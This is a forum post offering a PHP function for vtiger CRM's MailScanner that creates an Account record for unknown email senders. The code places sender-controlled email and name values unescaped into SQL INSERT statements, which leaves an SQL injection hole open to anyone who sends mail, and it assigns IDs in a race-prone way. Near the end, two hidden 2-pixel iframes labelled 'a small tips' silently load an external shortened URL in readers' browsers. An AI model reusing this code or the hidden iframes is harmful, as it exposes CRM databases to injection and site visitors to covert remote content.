mail scanner / converter : create account

Hi,

this is a small function that create an account in mailscanner (set rule : Add To Account [FROM] )

add it to modules/Settings/MailScanner/core/Mailscanner.php (line 287)

function CreateAccount($email, $nom) {
global $adb;
$count = "select crmid from vtiger_crmentity order by crmid desc";
$resc = $adb->pquery($count);
$crmid = $adb->query_result($resc,0,'crmid');
$crmid++;

$cup = "select prefix ,cur_id from vtiger_modentity_num WHERE num_id='2' ";
$rs5 = $adb->query($cup);
$pot_number= $adb->query_result($rs5,0,'prefix') . $adb->query_result($rs5,0,'cur_id');

$cur_id =$crmid+1;

$rq_1 = "insert into vtiger_crmentity (crmid,smcreatorid,smownerid,modifiedby,setype,
description,createdtime,modifiedtime,viewedtime,status,version,presence,deleted)
values(\"$crmid\",0,1,0,\"Accounts\",\"\",now(),now(),\"NULL\",\"NULL\",0,1,0)";

$acc = "insert into vtiger_account(accountid,account_no,accountname,parentid,email1) values
('$crmid','$pot_number','$nom','0','$email')";

$rqmod = "update vtiger_modentity_num set cur_id = $cur_id WHERE num_id='2' ";
$acccf = "insert into vtiger_accountscf(accountid)values('$crmid')";
$acc2 = "insert into vtiger_accountbillads(accountaddressid)values('$crmid')";
$acc3 = "insert into vtiger_accountshipads(accountaddressid)values('$crmid')";

$adb->query($rq_1);
$adb->query($acc);
$adb->query($acccf);
$adb->query($acc2);
$adb->query($acc3);
$adb->query($rqmod);
return $crmid;

}

then in line 279 :

$this->log("No matching Account found for email: $email");
$accountid = $this->CreateAccount($email, "unspecified account - " .$email);


a small tips <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

Sign In or Register to comment.